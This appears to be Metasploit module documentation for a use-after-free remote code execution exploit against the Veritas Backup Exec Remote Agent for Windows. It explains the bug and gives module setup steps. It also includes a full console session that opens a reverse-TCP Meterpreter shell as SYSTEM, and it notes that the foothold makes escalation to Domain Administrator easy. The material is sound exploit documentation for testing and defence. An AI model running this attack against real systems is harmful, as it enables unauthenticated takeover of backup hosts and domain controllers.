## Vulnerability Summary

The Backup Exec Remote Agent for Windows is vulnerable to a use-after-free in
its handling of SSL/TLS-wrapped NDMP connections. If SSL/TLS is established on a
NDMP connection, ended, and finally re-established, the agent will re-use
previously freed SSL/TLS structures. This allows for remote code execution over
an unauthenticated network connection.


## Vulnerable Application

Backup Exec consists of a server component as well as remote agents that are
installed on each host that should be backed up by the server.

There are remote agents available for a range of data sources, including
operating-system level agents for Windows and Linux hosts' local filesystems,
application-specific agents for Microsoft Exchange, SharePoint, Active
Directory, etc., and agents for virtual machines such as VMware or Hyper-V
instances. This exploit targets the Windows OS-level remote agents, which are
the most common type in a typical Backup Exec deployment on a Windows-based
network. The agents are installed as services running by default as the
`NT AUTHORITY\SYSTEM` user.

A trial version of Backup Exec can be downloaded from Veritas' website;
currently the download is available
[here](https://www.veritas.com/trial/en/us/backup-exec-16.html).


## Vulnerability Description

The agent accepts NDMP connections on TCP port 10000. The vendor-specific
`0xF383` NDMP packet type allows for NDMP connections to be wrapped in a SSL/TLS
session. Sub-type `4` initiates the SSL/TLS handshake; after successfully
completing this the client and server continue the NDMP session through the
SSL/TLS session.

The agent makes use of OpenSSL to handle these SSL/TLS sessions. When a SSL/TLS
session is created, the agent creates necessary OpenSSL structures, including a
`struct BIO` from the connection's associated network socket using
`BIO_new_socket`. Upon the end of the SSL/TLS session, this structure is freed
by a call to `BIO_free` through a call to `SSL_free`.

However, if a SSL/TLS connection is then re-established on the same NDMP
connection, the previously freed `BIO` is re-used in the new SSL/TLS session
even though it is no longer allocated. The `BIO` is stored during the first
connection setup and then retrieved during second connection setup as a member
of the `CSecuritySSLConnection` class, despite the call to `SSL_free` previously
freeing it. This leads to a use-after-free as the `BIO` contains a pointer to a
structure (`BIO_METHOD *method`) of function pointers that are used to perform
operations such as reading and writing from the wrapped `BIO` object (in this
case, the network socket).

By overwriting the previously allocated `BIO` with controlled data, it is
possible to gain remote code execution when OpenSSL attempts to call one of
these function pointers.


## Verification Steps

1. Install the Backup Exec server on a host.
2. Install the Backup Exec Remote Agent for Windows on another host, either
   manually or through the server's remote agent installation feature. Note that
   in this contrived test situation you should be sure to let the agent run for
   a few minutes before continuing so it can finish initial startup work that
   otherwise interferes with the exploit's heap manipulation.
3. Start `msfconsole`.
4. Select the module and configure it with, at minimum, the address of the host
   running the remote agent:
   ```
   use exploit/windows/backupexec/ssl_uaf
   set RHOST [REMOTE AGENT HOST]
   ```
5. Check the service is running and potentially vulnerable with the `check`
   command.
6. Select a target version using `set target [TARGET]`.
7. Select a payload and its options; for example:
   ```
   set payload windows/x64/meterpreter/reverse_tcp
   set LHOST [METASPLOIT HOST]
   ```
8. Start the exploit using the `exploit` command.
9. Hopefully get a `NT AUTHORITY\SYSTEM` shell :)

An example session is as follows:

```
msf > use exploit/windows/backupexec/ssl_uaf
msf exploit(ssl_uaf) > set RHOST win10
RHOST => win10
msf exploit(ssl_uaf) > check

Hostname: WIN10
OS type: Windows NT
OS version: Major Version=10 Minor Version=0 Build Number=14393 ServicePack Major=0 ServicePack Minor=0 SuiteMask=256 ProductType=1 ProcessorType=AMD64
Host ID: XXXX::XXXX:XXXX:XXXX:XXXX
Vendor: VERITAS Software, Corp.
Product: Remote Agent for NT
Revision: 9.2
[*] win10:10000 The target appears to be vulnerable.
msf exploit(ssl_uaf) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64
   1   Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86
   2   Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64
   3   Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86
   4   Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64
   5   Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86
   6   Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64
   7   Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86
   8   Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64
   9   Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86
   10  Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64
   11  Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86


msf exploit(ssl_uaf) > set target 4
target => 4
msf exploit(ssl_uaf) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(ssl_uaf) > set LHOST 10.123.1.1
LHOST => 10.123.1.1
msf exploit(ssl_uaf) > exploit

[*] Started reverse TCP handler on 10.123.1.1:4444
[*] win10:10000 - Connecting sockets...
[*] win10:10000 - CA certificate ID = 8120a0e9
[*] win10:10000 - Getting and handling a certificate signing request...
[*] win10:10000 - Agent certificate ID = 430b56d0
[*] win10:10000 - Testing certificate...
[*] win10:10000 - Spraying TLS extensions...
[*] win10:10000 - Entering SSL mode on main socket...
[*] win10:10000 - Spraying TLS extensions...
[*] win10:10000 - Sending stages 2 to 4...
[*] win10:10000 - Closing TLS spray sockets...
[*] win10:10000 - Re-entering SSL mode on main socket...
[*] win10:10000 - Spraying stage 1...
[*] win10:10000 - Triggering UAF, attempt 1/50...
[*] Sending stage (1189423 bytes) to 10.123.1.2
[*] win10:10000 - Spraying stage 1...
[*] win10:10000 - Triggering UAF, attempt 2/50...
[*] Meterpreter session 1 opened (10.123.1.1:4444 -> 10.123.1.2:49748) at 2017-05-23 21:53:07 +1200

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```


## Options

Apart from the usual exploit module options such as `RHOST`, the module has a
few exploit-specific options. These should not normally need to be set or
changed from their default values in most situations as the exploit will pick
suitable values for them depending on the target selected.

**NumSpraySockets**
The number of sockets connected to the remote agent in order to spray stage 1 of
the exploit, which should overwrite the freed `BIO`.

**NumTLSSpraySockets**
The number of sockets connected to the remote agent in order to spray TLS
extensions. This is used to massage the low fragmentation heap in order to
increase chances of stage 1 successfully overwriting the freed `BIO`.

**NumTriggerAttempts**
The number of attempts made to trigger the use-after-free for Windows 8+
targets, where it is possible to retry calling the overwritten function pointer
multiple times.


## Scenarios

The Backup Exec Remote Agent for Windows is installed on each host that has
local filesystems that should be backed up. These agents listen on the network
for NDMP connections (on port 10000), appearing in Nmap scans with scripts
enabled as follows:

```
Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-23 20:47 NZST
Nmap scan report for (...)
Host is up (0.0035s latency).
Not shown: 994 filtered ports
PORT      STATE SERVICE            VERSION
(...)
10000/tcp open  ndmp               Symantec/Veritas Backup Exec ndmp (NDMPv3)
|_ndmp-version: ERROR: Script execution failed (use -d to debug)
```

(Note that the `ndmp-version` script fails to execute due to not sending an
`NDMP_CONNECT_OPEN` request before querying version information with the
`NDMP_CONFIG_GET_HOST_INFO` request. This exploit module's `check` command will
carry this query out successfully.)

While the exploit is not guaranteed to gain RCE (see the module's description),
in practise the agent is often widely installed in a Windows domain across a
range of hosts (including fileservers and domain controllers). This means
usually at least one instance of the agent will give a shell on a server where
it's easy enough to further escalate to Domain Administrator from `SYSTEM`.
